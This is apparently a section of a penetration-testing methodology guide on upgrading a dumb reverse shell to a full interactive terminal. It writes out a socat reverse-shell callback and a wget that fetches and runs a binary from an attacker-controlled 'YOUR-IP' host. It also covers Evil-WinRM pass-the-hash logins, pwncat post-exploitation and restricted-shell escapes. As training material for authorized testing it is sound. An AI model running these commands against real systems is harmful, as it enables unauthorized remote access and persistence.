You have a shell. It works. But it is not a real shell — not yet. You cannot use arrow keys. Tab completion does not work. Ctrl+C kills the entire connection instead of just the running command. If you run sudo or ssh or any program that needs a password prompt, it hangs or fails. This is a dumb shell. Every practitioner has lost access by running the wrong command in a dumb shell before upgrading it. This section makes sure that does not happen to you.
🔰 Beginners: This section is critical. Do not skip it. A dumb shell will cost you access at the worst possible moment. Read this before you ever work inside a shell you did not upgrade first.
⚡ Seasoned practitioners: The pwncat and socat sections contain workflow improvements worth reviewing. Jump to Method Comparison for the quick reference.
Before you start — know these terms:
- Dumb shell — a raw shell connection with no terminal emulation. Commands work but keyboard shortcuts, tab completion, and interactive programs do not function correctly.
- PTY — Pseudo Terminal. A software terminal that behaves like a real hardware terminal. Spawning a PTY gives your shell the features a dumb shell lacks.
- TTY — TeleTYpewriter. The underlying terminal device. When people say "upgrade to a TTY" they mean get a proper interactive terminal with full PTY support.
- SIGINT — the signal sent when you press Ctrl+C. In a dumb shell this kills the entire connection. In a proper PTY it only interrupts the current running command.
- stty — a command that configures terminal settings. Used to fix terminal behavior after upgrading a shell.
- Why Upgrading Matters — The Real Cost of Skipping It
- Method 1 — Python PTY (Fastest)
- Method 2 — Socat (Most Stable)
- Method 3 — Pwncat (Most Feature-Rich)
- Method 4 — Script Command
- Method 5 — Expect
- Fixing Terminal Size
- Upgrading on Windows
- Method Comparison
- What To Do When Nothing Works
Plain English: A dumb shell is fragile in ways that are not obvious until they cost you.
Scenario 1 — You press Ctrl+C: In a real terminal, Ctrl+C interrupts the current command and returns you to the prompt. In a dumb shell, Ctrl+C sends a kill signal to the entire shell process. Your connection drops. You are back to re-exploiting from scratch.
Scenario 2 — You run sudo:
$ sudo -l
[sudo] password for www-data:
The password prompt appears. You type the password. Nothing happens. The shell hangs. You press Enter. Nothing. The password input requires a real TTY to function — a dumb shell cannot provide it.
Scenario 3 — You run vim or nano: The text editor opens but the display is broken — garbage characters, no cursor movement, cannot type properly. You press Ctrl+C to exit. Your shell dies.
Scenario 4 — You run a command that produces a lot of output: The output floods the terminal faster than it can handle. The shell becomes unresponsive. You have lost it.
The rule: Upgrade the shell before you do anything else. The 30 seconds it takes saves you from re-exploiting every time.
This is the method you will use most often. It is available on almost every Linux system that has Python installed and takes under 30 seconds.
Step 1 — In your dumb shell on the target, spawn a PTY:
# Try python3 first
python3 -c 'import pty; pty.spawn("/bin/bash")'
# If python3 is not available try python2
python -c 'import pty; pty.spawn("/bin/bash")'
# If neither is available try
python2 -c 'import pty; pty.spawn("/bin/bash")'
# Check what Python is available
which python python2 python3 2>/dev/nullAfter this command the shell prompt looks slightly better but is not fully upgraded yet. Continue to Step 2.
Step 2 — Background the shell:
Press Ctrl+Z
Your shell is now suspended and you are back at your own machine's terminal. The shell on the target is still running — just paused.
Step 3 — Fix your terminal settings:
# Run this on YOUR machine (not the target)
stty raw -echo; fgBreaking this down:
stty raw— puts your terminal in raw mode — every keystroke is sent immediately without processing-echo— stops your terminal from echoing characters back to you (the target will echo them instead)fg— brings the backgrounded shell back to the foreground
Step 4 — Press Enter twice
The shell reappears. It may look blank — that is normal. Press Enter once or twice.
Step 5 — Set the terminal type:
# Run these inside the shell on the target
export TERM=xtermStep 6 — Fix the terminal size:
# On YOUR machine — check your terminal dimensions first
# Open a new terminal tab and run:
stty size
# Output: 38 116 (rows columns — your numbers will differ)
# Inside the target shell — set matching dimensions
stty rows 38 columns 116✅ Arrow keys work — navigate command history
✅ Tab completion works
✅ Ctrl+C interrupts commands without killing the shell
✅ sudo prompts work
✅ vim and nano work
✅ Clear screen works
✅ Interactive programs work
# Step 1 — In target shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 2 — Press Ctrl+Z
# Step 3 — On your machine
stty raw -echo; fg
# Step 4 — Press Enter twice
# Step 5 — In target shell
export TERM=xterm
# Step 6 — In target shell (use your actual dimensions)
stty rows 38 columns 116💡 If you get locked out after stty raw -echo: Your terminal may become unresponsive. Type
resetand press Enter — even if you cannot see what you are typing. This resets your terminal to normal mode.
Socat gives you a fully upgraded shell from the start — no background, no stty manipulation needed. The catch is that socat must be available or transferable to the target.
Plain English: Socat is like netcat but more powerful. It can create a proper TTY connection from the start, giving you a fully interactive shell immediately.
# On YOUR machine — start a socat listener instead of netcat
# Linux / macOS
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Install socat if not present
# Kali Linux
sudo apt install socat
# macOS
brew install socat
# Windows
# Download from: https://sourceforge.net/projects/unix-utils/
# Or use WSL2 with Kali — run socat inside WSL# On the TARGET — connect back with socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-IP:4444What the target command does:
exec:'bash -li'— execute an interactive login bash shellpty— allocate a pseudo terminalstderr— redirect stderr through the connectionsetsid— create a new session (prevents signals from killing shell)sigint— pass interrupt signals properly (Ctrl+C works)sane— set reasonable terminal modes
If socat is not on the target, upload it:
# On YOUR machine — serve socat
# Download static socat binary:
# https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
python3 -m http.server 80
# On the TARGET — download socat
wget http://YOUR-IP/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-IP:4444Pwncat is a post-exploitation platform that replaces netcat as your listener. It automatically upgrades the shell, handles file transfers, and provides a built-in command interface.
Plain English: Instead of a basic netcat listener that just shows you a shell, pwncat gives you a proper interface with commands, file upload/download, and automatic shell stabilization built in.
# Linux / macOS
pip3 install pwncat-cs
# Kali Linux
sudo apt install pwncat
# Or via pip:
pip3 install pwncat-cs
# Windows — use WSL2 with Kali
# Inside WSL:
pip3 install pwncat-cs
# Verify installation
pwncat-cs --version# Start pwncat listener
pwncat-cs -lp 4444
# Pwncat automatically:
# → Detects the OS on the incoming connection
# → Upgrades the shell to a full PTY automatically
# → Gives you the pwncat interface# Once connected — you are in pwncat's interface
# Switch between pwncat interface and the target shell
Ctrl+D # switch to pwncat command interface
# type 'connect' or press Enter to go back to shell
# Upload a file to the target
(local) upload /path/to/local/file /path/on/target
# Download a file from the target
(local) download /path/on/target /local/path
# List enumeration modules
(local) enumerate
# Run a specific enumeration module
(local) enumerate.gather privesc.sudo
# Get a local shell on YOUR machine without leaving pwncat
(local) local
# Exit pwncat
(local) exitStandard netcat:
→ Raw shell — dumb
→ No file transfer
→ No enumeration
→ One connection at a time
Pwncat:
→ Automatic PTY upgrade
→ Built-in file transfer
→ Built-in enumeration modules
→ Persistence management
→ Session management
→ Works with both bind and reverse shells
The script command is a Unix utility that records terminal
sessions. As a side effect of how it works, it allocates a PTY —
which upgrades a dumb shell.
# On the target — use script to spawn a PTY
script /dev/null -c bash
# or
script -q /dev/null bash
# or (older systems)
script /dev/null
# After running script, complete the upgrade with stty:
# Ctrl+Z
# stty raw -echo; fg
# export TERM=xterm
# stty rows 38 columns 116💡 When to use script: Use this when Python is not available on the target. Script is available on almost all Unix systems as part of the util-linux package.
Expect is a scripting language designed to automate interactive programs. It can spawn a PTY as a side effect.
# On the target
expect -c 'spawn bash; interact'
# Or using expect's sh wrapper
/usr/bin/expect << 'EOF'
spawn sh
interact
EOF💡 When to use expect: Use as a last resort when Python and script are both unavailable. Expect is less commonly installed but worth trying.
After upgrading, the terminal dimensions may be wrong — output wraps at unexpected places, interactive programs display incorrectly, vim shows the wrong number of lines.
# Step 1 — on YOUR machine, check your terminal size
stty size
# Output: ROWS COLUMNS (example: 38 116)
# Step 2 — inside the target shell, set matching size
stty rows 38 columns 116
# Alternative — let the target read dimensions from environment
# On YOUR machine first:
echo $LINES $COLUMNS
# Then set on target:
stty rows $LINES cols $COLUMNS
# If the terminal is still wrong after resize
# Try resetting:
reset
export TERM=xterm-256color
stty rows 38 columns 116Automatic size detection — the elegant method:
# On YOUR machine — capture current terminal size
ROWS=$(tput lines)
COLS=$(tput cols)
# Inside target shell
stty rows $ROWS cols $COLSWindows shells present different upgrade challenges. There is no Python PTY method — Windows has no PTY concept in the same way. The options are:
# If you have a CMD shell, upgrade to PowerShell
powershell -c "..."
# Or spawn PowerShell from within CMD
powershell.exePlain English: WinRM (Windows Remote Management) is Microsoft's remote management protocol. If it is running on the target (port 5985 or 5986), Evil-WinRM gives you a fully interactive PowerShell shell with upload/download capabilities.
# Install
gem install evil-winrm
# Kali Linux
sudo apt install evil-winrm
# macOS
gem install evil-winrm
# Windows — use WSL2 with Kali
# Connect with credentials
evil-winrm -i TARGET-IP -u username -p password
# Connect with hash (pass-the-hash)
evil-winrm -i TARGET-IP -u username -H NTLM_HASH
# Connect with certificate
evil-winrm -i TARGET-IP -u username -c cert.pem -k key.pem -S
# Evil-WinRM built-in commands
upload /local/file C:\remote\path
download C:\remote\file /local/path
menu # show all available commands
Invoke-Binary /local/binary.exe # execute a local binary on target# When you have a Windows reverse shell via netcat
# Wrap your listener with rlwrap for arrow keys and history
rlwrap nc -lvnp 4444
# This gives you:
# → Up arrow for command history
# → Left/right arrow for line editing
# → Not a full PTY but significantly better than raw netcat# Windows 10 and Server 2019+ have ConPTY
# If you have code execution, spawn a ConPTY shell:
powershell -c "& {$H=New-Object -ComObject WScript.Shell;...}"
# More practically — use Meterpreter on Windows
# Meterpreter handles Windows terminal emulation natively
# See the Metasploit section for the full workflow| Method | Speed | Stability | Requirements | Best For |
|---|---|---|---|---|
| Python PTY | Fast | Good | Python on target | Default — use this first |
| Socat | Medium | Excellent | Socat on target or uploadable | When stability matters most |
| Pwncat | Fast | Excellent | pwncat-cs on your machine | Full post-exploitation workflow |
| Script | Fast | Good | script utility (standard Unix) | When Python unavailable |
| Expect | Slow | Medium | expect installed on target | Last resort |
| Evil-WinRM | Fast | Excellent | WinRM running on target | Windows with valid credentials |
| Rlwrap | Instant | Poor | rlwrap on your machine | Quick improvement without upgrade |
Decision flow:
Is Python available on target?
├── Yes → Python PTY method (Method 1)
└── No → Is script available?
├── Yes → Script method (Method 4)
└── No → Is socat uploadable?
├── Yes → Socat method (Method 2)
└── No → Expect method (Method 5)
Do you want the best workflow tool?
└── Always → Pwncat as your listener (Method 3)
Is the target Windows?
├── WinRM running → Evil-WinRM
├── Have credentials → Evil-WinRM
└── Raw shell only → Rlwrap + PowerShell
Some environments are locked down enough that standard upgrade methods fail. Work through this before giving up:
# Check what is available on the target
which python python2 python3 perl ruby socat script expect 2>/dev/null
ls /usr/bin/python* /usr/bin/perl* /usr/bin/ruby* 2>/dev/null
# Try each available interpreter
# Python not found but perl is?
perl -e 'exec "/bin/bash";'
# Nothing available but you have file write?
# Upload a static socat binary
wget http://YOUR-IP/socat -O /tmp/socat && chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-IP:4444
# In a container with minimal binaries?
# BusyBox often has sh
/bin/busybox sh
# In a restricted shell (rbash)?
# Try escaping restricted shell first
bash --noprofile --norc
env /bin/sh
awk 'BEGIN {system("/bin/bash")}'
find / -exec /bin/bash \; -quit
vi -c ':!/bin/bash'The absolute minimum upgrade when nothing else works:
# Even if you cannot get a full PTY,
# at minimum do this to stop Ctrl+C from killing your shell:
trap '' INT
# And redirect stderr so error messages do not flood you
exec 2>/dev/nullby SudoChef · Part of the SudoCode Pentesting Methodology Guide